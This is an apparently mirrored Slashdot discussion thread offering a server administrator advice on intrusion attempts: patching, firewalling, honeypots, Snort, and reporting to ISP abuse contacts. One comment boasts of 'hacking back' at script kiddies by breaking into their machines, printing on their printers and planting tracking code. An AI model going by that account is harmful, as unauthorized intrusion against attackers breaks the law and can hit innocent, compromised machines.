Slashdot Mirror


Dealing with Intruders?

drakyri asks: "I've been running a server for a small company for a few months. Recently, the number of attempted intrusions has jumped from about one every week to several per day - and these are only the really obvious attempts, like idiots who try to log in as root from the outside. The problem is that I'm not sure what to do about this. I've got their IP addresses and can usually tracert their ISP's - is there an accepted type of letter to send them without seeming like one of the corporate cease-and-desist gnomes?"

156 of 656 comments (clear)

  1. Easy by Anonymous Coward · · Score: 5, Insightful

    ignore them.

    Unless they use a lot of bandwidth, that is the right decission to make.

    1. Re:Easy by Phil+Karn · · Score: 4, Insightful
      Agreed. Just ignore them.

      These things are far too common to get worked up about, and they still consume an infinitesmal fraction of my link capacity. I long ago stopped caring about unsuccessful intrusion attempts. I only care about the successful ones, and to help prevent those I apply all the usual safeguards.

    2. Re:Easy by hb253 · · Score: 3, Informative

      Agreed.

      A few years ago in my last job, we got hit with one of those viruses that hacks your web site (IIS of course) and modifies the home page to include bad words. We actually got the FBI involved.

      I got to talking with the agent and he basically said, unless someone actually intrudes into your system, you have no recourse. Atempts are one thing, actual intrusions are something else. Also, most likely, the activity you're seeing is viruses, not someone actively trying to break-in. Just keep your systems secure and patched and keep an eye on them.

      --
      Self awareness - try it!
    3. Re:Easy by eric76 · · Score: 2, Interesting

      In 1982 or so, I was working for a pipeline engineering company.

      One Saturday afternoon, I went to the office to do something on the computer (PDP 11/70). I was doing some disk work on the computer and didn't want anyone logged on accessing the disk while I did it.

      Before starting, I did a "systat" (system status command) and saw someone had dialed in from outside and was logged onto a games account.

      So I kicked him off, but he just dialed back in again. Every time I kicked him off, he was back in a minute.

      So I modified the login utility so that if you dialed in, it would tell you to call the number in the computer room and then drop the line.

      After a few minutes, he called! It sounded like a high school kid.

      I told him what I was doing and suggested he wait a while before calling back.

      After I finished what I was doing, I started wrote a little utility to take a snapshot of the system every six seconds and save the differences. I had a simple version working that evening and made some nice modifications to it the next couple of days.

      From then on, if he had ever logged back in, we could have detected just about anything he might do. But he never did log back onto the computer again.

      I never did know who the kid was, but my best guess was that it was the son of someone at the office.

  2. Your firewall.... by paullush · · Score: 2, Insightful

    Add their IPs to your firewall for a start.

    1. Re:Your firewall.... by arcade · · Score: 5, Insightful

      Why?

      If they are just sending of SYN-requests, then who cares? They'll get a few RST-responses. Having your firewall bogged down by rules just to ignore some dialup user that'll probably have switched IPs the next day will just decrease others chances of contacting you.

      Secure your network. Have a nice firewall with okay rules, but there should be no need to add individual IPs to your ruleset all the time -- that just increases complexity and maintainability.

      --
      "Rune Kristian Viken" - http://www.nwo.no - arca
    2. Re:Your firewall.... by Anonymous Coward · · Score: 4, Interesting

      Yeah cause, there's no such thing as Dynamic IP addresses.

      Better advice would be to only allow login connections (eg sshd) from known IP addresses.

      Other measures depends on what services you are trying to secure, but make sure you've run through the http://www.cisecurity.com/ lvl 1 benchmarks on an Internet connected machine (at the very least run the scoring tool).

    3. Re:Your firewall.... by jhunsake · · Score: 4, Insightful

      Better yet, block everything and whitelist your shit.

    4. Re:Your firewall.... by JPriest · · Score: 3, Insightful

      Exactly, why is he letting just anyone ssh into his boxes in the first place? Most of the services the company uses should be on private IP space inside of the firewall (NAT box), the rest of the devices on the outside need to be locked down good from Joe IP address.

      --
      Saying Java is nice because it works on all OS's is like saying that anal sex is nice because it works on all genders.
    5. Re:Your firewall.... by jaavaaguru · · Score: 2, Insightful

      Name and shame! ;-)

    6. Re:Your firewall.... by arcade · · Score: 5, Insightful

      Actually, most of the machines attacking me recently have been compromised static-ip servers at various hosting providers.

      It depends on what kind of 'attack' we're talking about, of course. If it's just an automated attack which scans large ranges of IP-addresses for common vulnerabilities which you've patched against, there really isn't any need to add them to your firewall ruleset, unless they're pretty invasive.

      By invasive I mean that they grope and poke, and grope and poke. If it's just a couple of packets - why care at all? You can always fire off an email to the hosting provider, but adding them to your firewall is just .. not necessary.

      Take the recent increase in SSH scans for the 'test' and 'guest' accounts without password, or whatever it was one came into agreement that it was.. if you've got a patched SSH daemon, why care? Let them scan - and get rejected. Why bog down the firewall with hundreds, if not thousands, of extra matching rules?

      If it's likely that you've got vulnerabile machines on that port, block it entirely - or just allow it from specific IPs. Playing whack-a-mole against scanners are just a waste of time.

      Patch the system, have a good general firewall ruleset that covers what needs to be covered - and let the scanners that isn't actually continously filling your log files just scan on.

      I've had to block _one_ abusive scanner during the last year. It was someone scanning for open http-proxies from Israel. They were hitting my machines several times per seconds, filling my apache logs with relay-attempts to mailservers. Which was quite frankly annoying.

      Those scans were from four IP's within the same subnet, and their ISP didn't care. I got the ISP null routed due to their customers filling my logs (and my company doesn't do business in Israel at the moment, so it wasn't a loss anyways).

      A few packets now and then on the other hand.. playing whack-a-mole with such is just a waste of time.

      --
      "Rune Kristian Viken" - http://www.nwo.no - arca
  3. DMCA by Amiga+Lover · · Score: 4, Funny

    Use the DMCA to... I don't know, scare them or something. Mention RIAA and MPAA to their ISPs too.

    1. Re:DMCA by Anonymous Coward · · Score: 4, Funny

      Tisk tisk, using the DMCA for something usefull is unpatriotic.

  4. Skript kiddiez by robogun · · Score: 4, Funny

    I haven't seen any similar increase in activity. Does your firm have enemies? For instance, does your first name rhyme with Carl?

  5. Abuse@ by craigske · · Score: 5, Informative

    The accepted way is to send an email to abuse@ or to the abuse contact listed by ARIN for the netblock you are trying to lart.

    http://www.arin.net
    or lookup the RADB abuse contact
    http://www.dnsstuff.org

    1. Re:Abuse@ by AllUsernamesAreGone · · Score: 4, Interesting

      At least in the UK (where I have themost experience fo computer laws), attempting to gain unauthorised access to a machine is a criminal offense under the Computer Misuse Act 1990, even conspiracy to do it is an offense. This is true whether you are a UK national or not - if you attack a machine in the UK and a report is passed to the police and the police investigation identifies you then the minute you set foot on British soil you could be arrested and prosecuted under the act (significant offenses may even result in extradition). I know several other countries have similar laws, I expect the US has as well.

    2. Re:Abuse@ by caluml · · Score: 3, Funny
      the minute you set foot on British soil

      Northern Ireland, Gibraltar, Hong Kong (not any more), Palestine (not any more), Australia (not any more), Canada (not any more), India (not any more), Malaysia (not any more), Yemen (not any more), Rhodesia (not any more), US (not any more)

      Damn. We're getting smaller. When did that happen?

    3. Re:Abuse@ by elfuq · · Score: 2, Informative

      Isle of Man, Channel Islands.
      Gibraltar
      Monserrat
      British Virgin Islands
      British Indian Ocean Territory
      Pitcairn Island
      Ascension Island
      Falkland Islands
      South Georgia

  6. Create a honeypot by JVert · · Score: 4, Insightful

    If you seem to be getting it from the same group of people make a honeypot but have some obvious hints once they get in, leave very little on the server and put the logs of their activity in an obvious place. Just be sure to isolate that machine from the rest of the network so if they do end up owning it they got no further then their failed attempt at your real machines.

    1. Re:Create a honeypot by Anonymous Coward · · Score: 2, Interesting

      This probably would have to be the best option so far. Then you could also log how they cracked the machine (using another machine). This would let you secure your other machines as well.

      (I've been told to say, "you're a facsist" so I did)

    2. Re:Create a honeypot by welshwaterloo · · Score: 5, Interesting

      IMHO - If you're not completely sure your network is 101% secure, or you don't have several free hours a day it would be a bad idea to drop a honeypot anywhere near your network.

      Think about it - it's a slap in the face to the would-be hacker.. It's like you're leading him on, then saying "Ner Ner!" when he breaks into the pot.
      If your hacker is serious, he's gonna be really pissed about this.

      Secure your network & keep it secure - no need to stir 'em up.

    3. Re:Create a honeypot by ayjay29 · · Score: 2, Interesting

      I agrre with the above. Also creating a honeypot will give these guys something to play with, something fun to do, which will mean they will be more likely to come back.

      If they can't get anywhere, they will move on somewhere else...

      --
      Offtopic, Inflammatory, Inappropriate, Illegal, or Offensive comments might be moderated up.
    4. Re:Create a honeypot by Anonymous Coward · · Score: 2, Funny

      Bah, pissing them off is fun. I did that quite a bit in the 90's when I ran an ISP. certian accounts that I nevr logged in as I changed the /bin/sh in the passwd file to /bin/biteme and had a nice 10 line c program that simply flooded the screen with profanity ended with, "go away loser" and then exited logging them off cince there is no shell. It took no input so no buffer overflows are possible.

      I was entertained by the more "pissed" hackers that ran into that. espically the ones with so little self control they would email me insults at administrator@myisp (A true sign of a poser-cracker, a real cracker is not stupid enough to start emailing the target.... a real cracker is silent as a mouse.)

      go ahead and piss them off, the real ones dont get pissed.

  7. Wow! A spike in hack attempts? by angryLNX · · Score: 3, Insightful
  8. I tried to log in as root.. by Anonymous Coward · · Score: 5, Funny

    on my University's network more than once. I ran Linux and I got into the habit of logging in as root, and sometimes I'd try to log in without thinking just after starting a telnet session. I didn't receive any notice from the U, but in this post-9/11 hellmouth, I'm sure I'd have been reported to the FBI as a potential terrorist.

    1. Re:I tried to log in as root.. by GodEater · · Score: 2, Insightful

      Let me get this straight - you "got used" to logging in as root? And to compound your folly, you used to do it over *TELNET* ?!?!?!

      I think someone needs to read up a bit more on why both these things are bad ideas - and why doing them both at once is just internet suicide...

      --

      Gentlemen, start your penguins

    2. Re:I tried to log in as root.. by meringuoid · · Score: 4, Insightful
      I ran Linux and I got into the habit of logging in as root,

      Unwise.

      and sometimes I'd try to log in without thinking just after starting a telnet session.

      Over telnet? Log in as root over telnet? AAAARRRGGGHHH!

      --
      Real Daleks don't climb stairs - they level the building.
    3. Re:I tried to log in as root.. by Lord+Kano · · Score: 5, Funny

      Only if you are of arabic race or have an arabic name.

      Arabic isn't a race. Arabs, technically, are caucasians. They're just curly haired, tanned white people. Not entirely unlike Italians.

      LK

      --
      "Hi. This is my friend, Jack Shit, and you don't know him." - Lord Kano
    4. Re:I tried to log in as root.. by c · · Score: 2, Insightful

      ]] and sometimes I'd try to log in without thinking just after
      ]] starting a telnet session.


      ] Over telnet? Log in as root over telnet? AAAARRRGGGHHH!

      So how did you remotely administer Unix boxes prior to ssh?

      c.

      --
      Log in or piss off.
    5. Re:I tried to log in as root.. by LearnToSpell · · Score: 2, Funny

      Most of these people weren't alive before ssh.

    6. Re:I tried to log in as root.. by thisissilly · · Score: 2, Funny
      So how did you remotely administer Unix boxes prior to ssh?

      Log in as a normal user, and su, of course.

    7. Re:I tried to log in as root.. by c · · Score: 2, Insightful

      Log in as a normal user, and su, of course.

      Tell me this is a troll. Please.

      c.

      --
      Log in or piss off.
  9. Abuse by martingunnarsson · · Score: 5, Insightful

    When I had this problem I simply sent a mail to the ISP:s abuse-people. Most ISP has an e-mail address like abuse@theisp.com. Then they can send the guy a warning or whatever.

    --
    Martin
  10. Very Easy by kunjan1029 · · Score: 5, Insightful

    intrusion attempt >> /dev/null

    ignore it. forget it. script kiddiz...

    1. Re:Very Easy by TeVi · · Score: 5, Insightful

      (mod parent up!)

      Yup, just make sure your box is secure.

      Intrusion attempts happen unfortunately, with all the viruses, worms, etc. Just make sure your box won't get caught.

    2. Re:Very Easy by bstone · · Score: 5, Insightful

      Why not stop them before they get dangerous. Notify their ISP and get them a warning. Just "letting it go" will only encourage them to continue to keep on trying and learning until they figure out how to break in without being caught. A quick warning from their ISP might be just enough to scare them off, and word of mouth to their friends might help to keep others from thinking it's "cool" to attempt to break into computer systems.

    3. Re:Very Easy by Anonymous Coward · · Score: 5, Insightful

      Do as the good cops do: Arrest if there is enough evidence to lock them up, observe otherwise.

      Nothing encourages a script kiddy more than the feeling of invulnerability which you get from someone admitting that he knows what you're doing but can't do anything about it because you've not broken a law.

    4. Re:Very Easy by BlackHawk-666 · · Score: 5, Informative

      Don't bother, the real crackers are probably usings some lusers box to launch the attack from. You're just warning the person who didn't secure their box, and they're not likely to understand why you are telling them they are attacking your box.

      --
      All those moments will be lost in time, like tears in rain.
    5. Re:Very Easy by essreenim · · Score: 2, Insightful

      I agree that you shouldn't worry about reporting them all, but it would be good to randomly report some of them - the unlucky kiddies?

      Also, bare in mind that some of these attempts may be made by real crackers that want to use your box as a remote box to launch attacks.

      Who knows, maybe in the future all servers and clients will be rigged with honey pots!!

    6. Re:Very Easy by Anonymous Coward · · Score: 2, Insightful

      Only go after them for an arrest if you have good reason to think that they mean you harm. A 12 year old trying to log in as root with no password is harmless, but turning them in can cause so much harm.

    7. Re:Very Easy by jstave · · Score: 5, Insightful

      But isn't that, right there, a good reason to let them know? If it lets someone know that their security has been compromised, they can take action to close the hole.

    8. Re:Very Easy by ishmaelflood · · Score: 4, Insightful

      Oh ho. So a kid who walks up to your car and tries the doorhandles is not guilty of anything untoward?

      Sorry, he needs a boot up the arse.

      He doesn't need to be sent to jail, he DOES need to be reminded that we'd rather he stopped being a fuckwit.

    9. Re:Very Easy by jhoffoss · · Score: 4, Insightful
      Unless you break into each zombie manually, dezombify them, and add a readme.txt to the user's desktop, they'll never find out.

      ISPs don't really roll this information back very often, because it just takes them too long, and there's too many.

      It'd be nice if more ISPs were more responsible with this, though. Something like vlan'd users get port scanned/vuln. scanned upon connection, and once passed, they're allowed onto the big bad net. Of course then everyone on /. would complain of privacy concerns...

      --
      Linux: The world's best text-adventure game.
    10. Re:Very Easy by invenustus · · Score: 3, Insightful

      Sorry, he needs a boot up the arse.

      Agreed. But what he doesn't need is a legal "boot up the arse" that will haunt him for the rest of his life. The trick is giving him the former without the latter.

      --
      grep -ri 'should work' /usr/src/linux | wc -l
    11. Re:Very Easy by IANAAC · · Score: 2, Interesting
      Agreed. But what he doesn't need is a legal "boot up the arse" that will haunt him for the rest of his life. The trick is giving him the former without the latter.

      So, you convince his ISP to issue a "You're no longer welcome here because you agreed to an AUP that forbids what you were trying to do" to him.

      Unfortunately, ISPs are bogged down with requests like these, so probably not much will/can be done realistically.

    12. Re:Very Easy by orangesquid · · Score: 4, Insightful

      Not if your car is a webserver. That's like having a car with a big sign that says "LOOK IN THE WINDOWS! THERE'S COOL STUFF INSIDE THIS CAR!" Of course some people are bound to try the handle, at least to get a closer look. I attempt anonymous ftp logins and try /pub URLs on webservers all the time, as well as ascending to the parent directory and such. Sometimes I find some really neat stuff that way. I'm not about to attempt a root login, but, it's human nature to explore and try things which may or may not be OK, unless there's obvious immediate harm. If all humans were extremely cautious and thought hard about consequences and ethics, the US would not exist, and the natives would still be abundant.

      --
      --TheOrangeSquid Is it any wonder things seem so awry? We swim in a sea of confusion and don't have to think to survive
    13. Re:Very Easy by Sgt+York · · Score: 5, Insightful
      He (the skiddiot case) may need it, but no one can give him that under current law. So, you observe and wait.

      To run with the analogy, if a cop sees a kid going down a row of cars testing door handles, he won't just run out and arrest him. The cop will wait until the kid comes across an unlocked door, rummages through the car, and takes something. Then the cop will arrest him. The cop waits because until the kid takes something, it's not a clear cut case. Sure, the kid is doing wrong, but the cop doesn't have enough ammo to really get him. Some people might take a "no harm, no foul" attitude.

      If I was 12 and got caught doing something dumb like trying to log in as root like that, I'd just counter with the defense that I got the IP address wrong. "Oh, that waas your server? My buddies must have been playing a joke on me...he said that was his machine." I'd most likely get off, and walk away with a feeling that I was untouchable on the net. Wait until you actually have something to scare them with, then nail 'em.

      --

      There is a reason for everything. Sometimes that reason just sucks.

    14. Re:Very Easy by networkBoy · · Score: 2, Interesting

      Agreed. But what he doesn't need is a legal "boot up the arse" that will haunt him for the rest of his life. The trick is giving him the former without the latter.


      Exactally. What I've tended to do is when I see an obvious script kiddie hitting my server over and over (with the same damn script like it'll work the second/third/tenth time) is hack 'em back. I realize this only works if you catch them in the act, else you may hit someone else, but my general preference is to print the following to their printer:

      "Hey Cockbite: If you're going to try and hack someone, pick an admin who won't hack back"

      All in all it's harmless, but hopefully gives them the hint that they're being stupid. Also I've been known to drop in a bug that lets me know their current IP address so I can print the above message randomly for a month or so. Let them explain to mom and dad WTF is going on! Way better results than ruining their life with the cops. ;)

      -nB

      --
      whois gawk date unzip strip find touch finger mount join nice man top fsck grep eject more yes exit umount sleep dump
    15. Re:Very Easy by mustangsal66 · · Score: 3, Insightful

      Do you have any idea how clueless the average broadband user is?

      Do you have any idea the cost involved in setting up the system you have described in equipment, admin time, programmer time, etc...?

      Who's responsible for fixing the vulnerabilities once found? Who's responsible if the vuln check actually harms the users computer or data? How do you prove it?

      The ISPs are not some large benevolent entity. They're init to make a profit. Sorry, yes, they like money. Numerous phone calls to techsupport deal with questions that start, It used to work when I had AOL. Yeah we all know AOL sucks, but apparently they make money. Cusomters don't want to hear, this isn't AOL, this is a real internet provider, they want to surf their p0rn, and chatrooms. If fixing a customer will loose the customer..they're not going to do it. It's bad business sense.

      Guess who gets the cost of fixing these customers, you do as the consumer.

      Now balance it. The ISP deals with a handful of customers (out of their total subscriber base), or increases costs to all... You try to explain to grandma why her internet bill increased by 10%.

      --
      Why worry? Each of us is wearing an unlicensed "nucular" accelerator on his back.
      Sig changed for readability by G.W.
    16. Re:Very Easy by cdrudge · · Score: 2, Interesting

      If it's the same person multiple times, yes. If it's one person once, ignore it.

      I know that I occasionally forget who I'm connecting into and try to login as root out of habit but then realize where I'm at. Using your example, it would be like walking towards a car in the parking lot that looks like yours and trying the handle...but just as you do realizing that it's not your car.

    17. Re:Very Easy by RovingSlug · · Score: 4, Insightful
      So a kid who walks up to your car and tries the doorhandles is not guilty of anything untoward?

      I grew up in conservative Oklahoma. As a teenage kid, I was walking across a large parking lot with my friend and his girlfriend to a movie theater. My friend had long hair, so that probably tipped us off as obvious hoodlums, justifying some person calling the police to report "suspicious activity" of some kids messing with cars.

      Maybe if we had been doing anything more than walking it would have been a good lesson. As it was, it just taught me the world definitely has scared, intolerant jackasses.

      Before advocating low tolerance and hair-trigger fingers, consider the sociecty you're creating for everyone, not just the criminals and would-be criminals.

    18. Re:Very Easy by jfdawes · · Score: 2, Insightful

      Don't you think there's something wrong with a society where a cop watches you doing the wrong thing and takes no proactive action to protect and serve?

      What's wrong with the cop stopping the kid, asking his name and address and generally letting him know that his actions are monitored and he's on the verge of crossing the line.

      If no-one ever tells you where the line is, how do you know when you've crossed it?

    19. Re:Very Easy by Goobermunch · · Score: 2, Insightful

      Except that there's this great concept in American Law called "Attempt."

      Generally, the way it works is like this:

      If a defendant, acting with the intent otherwise necessary for the commission of a crime, take a substantial step toward completion of that crime, you're guilty of attempt.

      A substantial step is an action strongly corroborative of your intent to commit the crime.

      The kicker is that the substantial step need not be illegal.

      Thus, if a kid walks down a row of cars testing door handles, the prosecutor can make a good case for the intent to illegally enter one of those cars because he's trying all the doors (and therefore has a no legitimate interest in being inside any of them).

      --AC

    20. Re:Very Easy by NanoGator · · Score: 2, Interesting

      "Oh ho. So a kid who walks up to your car and tries the doorhandles is not guilty of anything untoward?"

      No, he is not. I agree that he should be informed that it's not cool, but he doesn't need to have boot up his arse or to be called guilty of anything. Frankly, kids are curious. I've tried doorhandles before, it had nothing to do with me being up to no good. I was just curious if people really locked their cars.

      --
      "Derp de derp."
    21. Re:Very Easy by Chazman · · Score: 5, Interesting
      Oh ho. So a kid who walks up to your car and tries the doorhandles is not guilty of anything untoward?

      No. Trying a door handle does not imply mal-intent. It's the response when a door handle actually works that matters. I'll give you an anecdote. I was arriving at a semi-nice restaurant in a somewhat out of the way area of an otherwise nice town. Parking was scarce, so I had to park on a tiny unlit side-street. Walking toward the restaurant from my car, I saw another car on the street with its dome light on. It was obvious from a reasonable distance that there was no one in the car, but there was a pocketbook left on the front seat. Being a good sumeritan, I said "that won't do -- the pocketbook will get stolen, and the dome light will drain the battery". So I tried the door handle. To my surprise, it opened. I quickly turned to dome light off, closed the door again, and walked away. Turns out this was a sting. There had been a bunch of thefts from cars in the area recently, and this being a good town, the cops had enough time to set up a honeypot to try to catch the perp. They were quite chagrined to find someone go for the bait for an entirely altruistic reason -- to prevent a stranger from becoming the dual victim of a theft and a dead battery. Maybe I took a risk by trying that door handle and attempting to do some good. But how would you know if you deign to put a boot up my arse the instant I touch the doorhandle?

      Perhaps the analogy doesn't port over all that well to scans of TCP ports, but it wasn't I who began that analogy; I'm just answering it.

      --
      -----Chaz
    22. Re:Very Easy by WNight · · Score: 3, Insightful

      "They made it more secure - the rate increase pays for the guy who runs the security"

      Doesn't seem too hard, but maybe my grandma is smarter than yours.

      This kind of security is well worth it. ISPs that take a few basic precautions sit back and laugh as their competitors get ravaged by the worm of the week, while zombied windows boxes spam everyone and get the whole ISP blackholed, etc.

      You pay one person to keep up on the script-kiddy tools and you block the ports they tend to use, or program your router to drop certain scanning packets, making it look like the computers you host are immune to the bug. Trivial stuff really.

      If you want to get fancy you can try some sort of warning system that gives you an overview of what your users are doing. If you see that 1/3 of your users are loading a webpage at the same company you might be witnessing a DDoS attack, if one address is scanning your IP range you might want to start dropping their packets.

      A little bit of forethought makes everything run much smoother, once you start taking precautions you'll find that despite the cost of the employee time you'll save money overall. Not in a way that short-sighted management (the type who don't understand backups and standby servers) will understand though, so you need to be at a clued company or be good at making proposals.

  11. Letter by Pinkfud · · Score: 2, Funny

    Write in sloppy block letters: Ve know who you are. Do it vun more time und ve get NASTY!

    --
    The world is my oyster. That's why it's always in a stew.
  12. Maybe set up a honeypot for a bit by Mal-2 · · Score: 5, Insightful

    If you give them a more attractive target for a while, you may find there really aren't all that many attackers left to go after the systems that matter. Not only that, but it would be considerably easier to set up such a system to log their attack techniques, since it isn't actually doing anything. Finally, if they do break through, who cares? Just re-image the drive and let them start over. If they manage to repeat it, you now have a known weakness you can correct.

    Mal-2

    --
    How is the Riemann zeta function like Trump rallies? Both have an endless number of trivial zeros.
    1. Re:Maybe set up a honeypot for a bit by Anonymous Coward · · Score: 2, Informative

      Honeypots should not be taken lightly. They are a legal hazard. You knowingly operate a vulnerable machine which is connected to the Internet. If the damage isn't restricted to your own systems, you're partially responsible and probably liable for other people's damages.

  13. My Advice by momogasuki · · Score: 3, Informative

    Just ignore them. Focus on keeping your server software up to date and staying informed of possible security issues instead of waisting time trying to track down instrusion attempts.

  14. Snort + Guardian by UltiSkeeter · · Score: 4, Informative

    These two will detect most automatic attempts and then add the IP's to a drop list on your Linux firewall. www.snort.org. Guardian is listed under 'other tools'

    1. Re:Snort + Guardian by Anonymous Coward · · Score: 2, Informative

      Automated addition to a firewall leads to a DOS vulnerability.

    2. Re:Snort + Guardian by Umrick · · Score: 3, Interesting

      We ran this configuration for about 3 months. The problem is the shear number of false positives by the default snort rules. If you can't spend the time trimming down the ruleset to bare minimum to cover your needs, you will be locking out end users.

      Classic for us was one user who had multiple domains with us got blocked every time she went to view one of her pages. Turns out the snort rule was so generic it was just looking for /calendar, so anything containing that would get trashed.

      In the general sense, most likely you won't get a whole lot of cooperation from the ISP (gone are the days of the minions at Erol's). Stay patched, use common sense, and ignore it.

  15. Not a cease-n-desist gnome... by AngstAndGuitar · · Score: 5, Funny

    You might consider sending a handwiten letter and use your own name, that would seem a bit more human. Also, most large companies will send polite-but-firm letters, so just threaten bodily harm to them and their pets, that should sound pretty un-corporate. I suppose only the first sugesstion is really a good one, but I like the second one more, so I'm not going to remove it from my comment.

    --
    Less look fast, more go fast.
    1. Re:Not a cease-n-desist gnome... by raam · · Score: 2, Funny


      Dear Blankety-blank:

      Hi. I'm real, real sorry to take your time. I mean, if you don't have time, I understand, and, after all, I don't want to sound like a corporate gnome ]:-) :))). I know you're a real nice hacker, not one of those Russion mob nut-jobs...ah, oops, didn't mean to call names! Anyway, I was just wondering if, if it's not too much trouble, if you could not hack me. I understand that you are a person and have needs, but, and if this bothers you and I sound like a gnome, just let me know(! :) :O :>>), I was wondering if you would help a brother out. Thanks, and if this offends you in any way, please send it back to me and, as you can, guess, I will certainly roll it up and put where any spineless dork might. Thank you so much. Thank you, thank you. You are too kind. Thank you.

      Sincerely,

      D.U. Fus, the Administrator
      Tepid Water Suppositories, inc.

  16. Corporate Gnome by Destructo-Bot · · Score: 2, Interesting
    If there are indeed blatant attempts to gain access to your network and server, then a simple letter or email to their ISP should do the trick and help show your boss that you were trying to be proactive. Keep in mind that those IP's could be spoofed however, so without something a little more substantial than an IP addy, you are likely to be ignored by most major isp's.

    Best chance for a response is to keep it polite and request a notification of what action (if any) they will take. Don't fill your letter or email full of legalese and vauge threats and I'm sure most of the people in charge of a particular abuse department will take you seriously enough. Whether or not they have the clout to take action on your behalf is another matter entirely however.

    Another thing to do is to just keep yourself patched, firewalled, and a close eye on your network. If the attempts are rising, someone thinks your network/servers is/are an easy target. Prove them wrong and perhaps you won't need to write that letter after all.

    Good luck.

    1. Re:Corporate Gnome by ssbljk · · Score: 2, Informative

      Keep in mind that those IP's could be spoofed however, so without something a little more substantial than an IP addy, you are likely to be ignored by most major isp's.

      well, if you decide to write to ISP, don't write letter in which you accusing but ask ISP for help to investigate and be polite.

      --
      /ss
    2. Re:Corporate Gnome by JWSmythe · · Score: 4, Interesting


      No shit.. :)

      I've received some really nasty Emails over the years from winners who just installed some firewall on their home machine, and wonder why we're sending packets to him from our port 80 to some high port on his machine. They're all demanding that we stop or they'll sue, blah, blah, blah.

      I write a real friendly note back saying "sir, you were visiting a porn site at http://example.com. from which you detected the data coming back to you exactly as you requested. yada, yada, yada"

      Once in a while our provider will get a new person in their abuse department, and forward those over. I kindly remind them to go back to their supervisor and ask them exactly what this traffic would mean. Then I write them a friendly letter explaining the basics of the Internet. :)

      They are generally good about sending us only real problems, which are usually about sublet IP blocks. I either pass it on to their sales rep, or call them myself. Most customers I've delt with are very friendly about it.

      We did have a federal agent show up in our office one day, about a hacking attempt from one of our networks (a sublet line). I called the sales rep, got the customer on the line, and they were already aware of it. It was an old unpatched machine, that they had taken offline a few days prior because they had already found it was broken into. They were still examining it, and offered to hold onto the drive for the investivator. I really like good customers.

      --
      Serious? Seriousness is well above my pay grade.
  17. Well... by MrWorf · · Score: 5, Informative

    I always write a really "nice" letter to the ISP of the intruder, where I explain the problem, and that it is causing my customers trouble and that it eats up valuable bandwidth. I ask them to take action, and if not, that I'll have to proceed further (never been needed once). I send the email from the admin account, sign it with my name + admin at my system and then I attach the logs pertaining the intrusion attempt.

    So far, all of these "cease and desist" letters has resulted in action on the ISPs part, and in 50% of the cases, their admins write me back and give me feedback on the problem.

    Ofcourse, I don't do this for every attempt (all depending on my mood ... atleast nowadays), mostly for the more serious attempts (doing multiple attempts, different attempts, etc).

    The worst (or craziest?) attempt yet was by some nut who portscanned the system, port by port from start to finish. I actaully managed to get hold of the owner of the computer system that was scanning me and phoned him. Quite a hilarious experience. Needless to say, the portscanning stopped :)

    1. Re:Well... by zoom · · Score: 4, Informative

      I've had similar experiences. I've noticed several SSH attempts on my server recently - just a personal server at home. I've written to the abuse addresses found by running WHOIS and politely informed the ISP that there was an intrusion attempt and could they please inform the user that we are not a public service.
      Many times the ISP has responded and usually their customer has a zombie box.
      Always include a log if possible so they know the time and the IP-address. Remember to tell them what timezone the timestamps are from.
      WHOIS links
      http://ws.arin.net/cgi-bin/whois.pl
      http:/ /www.ripe.net/db/whois/whois.html
      http://www.apni c.net/apnic-bin/whois.pl

    2. Re:Well... by B2382F29 · · Score: 2, Insightful

      The worst (or craziest?) attempt yet was by some nut who portscanned the system, port by port from start to finish.

      And what's the problem? That is COMPLETELY LEGAL. If you create problems for that other guy, maybe if his connection gets cut off from his ISP because of your complaint, YOU are responsible for the damage (false accusation). Seems you are one of those types going crazy about some other computer sending from port 80 to a high port on your computer.....

      --
      Move Sig. For great justice.
  18. In my experience by Howzer · · Score: 3, Informative
    In my admittedly limited experience, having been a "web manager" for half a dozen websites or so in my time, this sort of stuff was seasonal (highs in summer and winter when the script kiddies were indoors) and never used to particularly bother me.

    I had confidence in my setup, and no server I had control over was, to my knowledge, ever compromised.

    We never had any sensitive data outside the firewall, anyway.

    On two occasions it got serious (if an easily beaten DOS attack can be called serious) and even then it was only for 20 minutes or so. Our ISP (being a large telecom) was champing at the bit to go after people we had even a small scrap of evidence against, so on those two occasions we simply handed what information we'd gleaned to them, and they let out the dogs.

    At some stage, you've got to stop worrying and learn how to love the internet!

  19. Yes, there are several good ways. by arcade · · Score: 5, Informative

    Personally I tend to ignore the scans for ssh and so forth, as they're just SYN-packets and doesn't consume too much of my resources. Call me a lazy/non-caring bastard. However, it would surely be nice to send off a message to the ISP, as the machines the scans are originating from are probably cracked too.

    I tend to report viruses. I grep my logs daily for viruses from various norwegian ISPs, to the mailserver I admin for my company. During the last five months I've sent daily virus reports to the largest ISP in norway, and they tend to reply within one business day - having notified their customer about the infection. If the customer gets several 'heads up' messages from the ISP without removing the virus, they get their port 25 access filtered until they've confirmed that they've removed the virus.

    I tend to send emails such as this.

    "
    Hi there.

    I've got several viruses from your customers today, and would appreciate it if you could notify your customers about the virus infections they probably have.

    Here are the relevant snippets from my logs:

    Virus: Netsky.B
    Received: from at

    Virus: Bagle.C
    Received: from at

    All timestamps on the server are NTP-sync'ed against .

    Thanks for your time
    "

    Recently I've also included a more personalized

    "Oh, and I have to commend your ISPs efficiency, as since march - you've managed to reduce the number of virus sending users to us from about per day, to this .. it's days since the last virus from you! Keep up the good work!"

    You could probably just adapt what I'm writing to something saying that a customer of theirs probably has been cracked, and that they are currently scanning for .. and so forth.

    If it's the actual cracker that's stupid enough to use his own computer, he'll get scared enough if they contact him telling him that his computers has been abused by others to scan people -- and will probably quit doing it. :)

    --
    "Rune Kristian Viken" - http://www.nwo.no - arca
    1. Re:Yes, there are several good ways. by JWSmythe · · Score: 3, Interesting


      Damn, you must have a lot of time on your hands..

      We actively block viruses at the mail server, and our logs show over 20k came towards us yesterday. Want to parse my logs and report the infected machines? :)

      And yes, we don't send the automagic "We received a virus" notices. Those are just plain annoying considering most headers are faked.

      --
      Serious? Seriousness is well above my pay grade.
    2. Re:Yes, there are several good ways. by arcade · · Score: 2, Informative

      Damn, you must have a lot of time on your hands..

      Nah. We only get around 50 viruses per day, and I've made a list of the responsive ISPs. I tend to email the responsive ISP's one email per day, containing nothing but the relevant headers.

      The ISPs just receives an email with the name of the virus, and the Received: from header(s) they need to track down the person with that virus.

      Most is automatically generated by my scripts. I just paste it into my mail client and send it off with a few nice words on top of the list - and if I'm very pleased with the ISPs responsiveness in the past -- some nice words of encouragement for their great work.

